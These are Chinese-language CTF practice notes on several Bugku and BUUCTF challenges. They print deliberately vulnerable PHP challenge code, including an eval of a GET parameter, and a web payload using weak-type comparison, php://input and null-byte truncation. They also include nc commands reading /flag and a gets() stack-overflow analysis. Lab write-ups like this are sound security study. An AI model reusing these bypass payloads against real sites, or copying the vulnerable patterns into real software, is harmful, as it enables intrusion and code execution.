1.Bugku刷题
秋名山车神
一直刷新会给提示。
1-1
解题思路就是写一个脚本,从网页获取算式,计算,然后通过post提交。
写脚本时要注意保持session会话。
never_give_up
查看源码发现1p.html。访问,看到一个很长的串,进行url解码,再base64解码,再url解码,拿到源码。
1-2
<script>window.location.href='http://www.bugku.com';</script>
<!--";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
//stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
//eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。
//substr() 函数返回字符串的一部分
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}
?>-->
payload
?id=0xss&a=php://input&b=%00120345
//id=0xss绕过弱类型比较
//a=php://input来让post表单提交的数据为一个数据流
//b=%0012345使用%00截断来绕过eregi()
bugku is a nice plateform!
2.BUUCTF刷题
test_your_nc
nc的全名是netcat,其主要用途是建立和监听任意TCP和UDP连接,支持ipv4和ipv6。因此,它可以用来网络调试、端口扫描等等。
nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
进入终端使用nc命令。
nc -zv addr port//-z指本次扫描无输入输出,v指显示具体过程
nc addr port//建立连接
cat /flag//输出flag
rip

2-1
把给出的文件放入ida,F5一下,看到伪代码。
nt __cdecl main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF
puts("please input");
gets(s, argv);
puts(s);
puts("ok,bye!!!");
return 0;
}
看到s[]的长度仅为15,同时注意到使用了不安全函数gets()。
此外,fun()函数可以直接获得shell。
int fun()
{
return system("/bin/sh");
}
所以思路就是通过栈溢出来修改地址,进而执行fun函数。
emmmmmmmmmmmmmmmmm
看了wp都做不出来..............
麻了
[GXYCTF2019]禁止套娃
dirsearch扫一下,发现.git目录,再用GitHack下载源码。
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
按代码构造payload即可。